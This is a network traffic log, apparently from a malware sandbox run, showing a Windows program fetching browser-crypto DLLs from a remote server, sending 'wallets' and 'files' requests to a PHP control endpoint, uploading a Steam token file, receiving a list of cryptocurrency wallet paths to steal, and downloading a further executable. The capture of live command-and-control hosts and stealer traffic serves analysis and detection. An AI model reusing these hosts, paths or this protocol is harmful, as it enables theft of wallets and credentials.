Jul 4, 2024 22:20:31.039604902 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 4, 2024 22:20:31.361680031 CEST	87	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:31.552252054 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 4, 2024 22:20:33.227077007 CEST	91	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:33.416892052 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 4, 2024 22:20:33.623872042 CEST	95	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 22:20:33.805908918 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 4, 2024 22:20:34.023416042 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 85.28.47.30 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 22:20:34.952094078 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:34.990552902 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"wallets------KKECFIEBGCAKJKECGCFI--
Jul 4, 2024 22:20:35.181965113 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 4, 2024 22:20:35.184269905 CEST	463	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: 85.28.47.30 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"files------KJJKEBGHJKFIDGCAAFCA--
Jul 4, 2024 22:20:35.396087885 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:35.411222935 CEST	561	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKFIEBGCAAFIEBFCAE Host: 85.28.47.30 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 49 45 42 47 43 41 41 46 49 45 42 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBKFIEBGCAAFIEBFCAEContent-Disposition: form-data; name="file"------GCBKFIEBGCAAFIEBFCAE--
Jul 4, 2024 22:20:36.095993996 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 22:20:36.130230904 CEST	468	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 85.28.47.30 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 63 37 34 30 37 34 61 38 32 66 35 65 38 32 36 31 62 61 34 30 62 62 62 34 63 36 35 63 65 36 66 66 35 31 34 61 36 35 38 38 30 65 36 39 30 34 65 37 32 38 31 37 62 63 32 66 33 64 32 36 65 39 35 63 36 37 36 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 2d 2d 0d 0a Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"cbc74074a82f5e8261ba40bbb4c65ce6ff514a65880e6904e72817bc2f3d26e95c676a02------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"jbdtaijovg------FBAAAKFCAFIIDHIDGHIE--
Jul 4, 2024 22:20:36.924087048 CEST	331	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 20:20:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	77.91.77.81	80	3472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:20:36.931893110 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 4, 2024 22:20:37.624068022 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:20:37 GMT Content-Type: application/octet-stream Content-Length: 1906688 Last-Modified: Thu, 04 Jul 2024 20:03:38 GMT Connection: keep-alive ETag: "6687001a-1d1800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafK@K@XlKK @.rsrc@.idata @ *@aosuufqe1@lxnltetwK@.taggant0K"@
Jul 4, 2024 22:20:37.624085903 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 22:20:37.624098063 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 22:20:37.624155998 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 4, 2024 22:20:37.624169111 CEST	1236	IN	Data Raw: 82 25 a1 84 5c f1 ee ef 34 c1 0a df a3 21 1c 27 1f 22 98 92 b9 aa 59 9b 2b 99 85 4f 7e 25 61 85 1c 85 27 ea 8f 91 cb 84 34 16 86 20 bd f1 15 82 35 e5 af 81 10 10 56 80 bd 51 40 2a 29 a5 67 53 6c 85 0b 7c e2 fc 27 53 7c 79 8e 0d cb 01 bb 66 8c b9 Data Ascii: %\4!'"Y+O~%a'4 5VQ@)gSl\|'S\|yf: ?rVs{"/oT?<FOo,UU$@P~<\2%<'SyP''A!'`WNs>dsv7/#@q?J'q;&&o4'`
Jul 4, 2024 22:20:37.624181986 CEST	1236	IN	Data Raw: b8 e3 59 e7 8b 36 80 e6 e7 83 25 93 b1 79 5b 5f bc c5 0c ef 63 fe 5c 64 6b ef a4 6a f2 4b 9c ab 56 5c 12 7d c2 6d 3c 5f c4 99 42 d3 02 02 e6 9e b7 fb 9a dc 3f 33 67 36 a0 86 f9 92 a8 10 41 a3 ed 2e 05 80 65 97 4f a0 b4 30 c8 a7 6c f3 04 2c aa 4d Data Ascii: Y6%y[_c\dkjKV\}m<_B?3g6A.eO0l,M=s4-{AI8spt,;']_Q'{JM;@)o"'~how]S`W0?/GxPdTA~GO)@m>@*x#a[
Jul 4, 2024 22:20:37.624404907 CEST	1236	IN	Data Raw: aa 89 93 82 9b 1e f8 c4 fc d7 63 5a c8 77 cf 1a aa cd df 1e 34 39 1a 93 66 b5 bf 3a 60 b7 55 57 e9 fc 96 f5 65 03 c9 c6 d4 02 be 82 ed 85 07 36 b6 ca 1c a0 b7 22 82 5f 44 3b 9b 0d ef d1 09 ec eb b7 0c 1d 58 97 11 b2 ac 76 9c 7d 79 95 f3 50 fd b8 Data Ascii: cZw49f:`UWe6"_D;Xv}yP9c]YBp>=_BL0p)\|{e]IUSW9))[[]p"@8.{3'b$': W%D[r\|XE%m^IiI!5yFAh
Jul 4, 2024 22:20:37.624417067 CEST	1236	IN	Data Raw: bc ba 96 35 6d 1f e7 b8 db ed 89 29 bc 95 49 95 06 a1 e4 69 08 52 e8 57 9f 68 6c d5 e5 a0 b0 36 ed b9 81 5f 83 ff ff e3 4c cd c6 a9 5c 0e 4c 55 23 31 40 a2 bc bf 11 d1 22 70 96 1b 50 a2 3e a8 e5 43 cf 90 fe 8a 00 75 17 fd bf 67 fe 03 e0 da 96 ab Data Ascii: 5m)IiRWhl6_L\LU#1@"pP>Cug\|A%lLWWU,,vCO/X~=>H7&a8X#JHwh0iTHkW@cJ,TRz$"<}`WW'L4.),?< #=x
Jul 4, 2024 22:20:37.624428988 CEST	1224	IN	Data Raw: 31 b3 42 7f 3e 8b ab f2 cd 42 16 fe 73 71 1b 8f 05 d6 53 1f a6 a9 87 ef 8e 7e 9a f2 f9 d8 44 3d 31 27 47 78 a9 5d 04 b0 f1 b1 07 9d 23 46 e1 ce d5 db 76 84 de 2f 5e 5f 78 9b 59 8f a8 d5 1c 9c 1d 63 7c b1 f2 83 89 a4 b5 54 27 53 62 c6 7d db 7c f9 Data Ascii: 1B>BsqS~D=1'Gx]#Fv/^_xYc\|T'Sb}\|^2D~iv+\1_DG\|bw~ $crpOU,3d%\2{W$zeRHKKzv/j_cvPS0hkV8pg]n,w
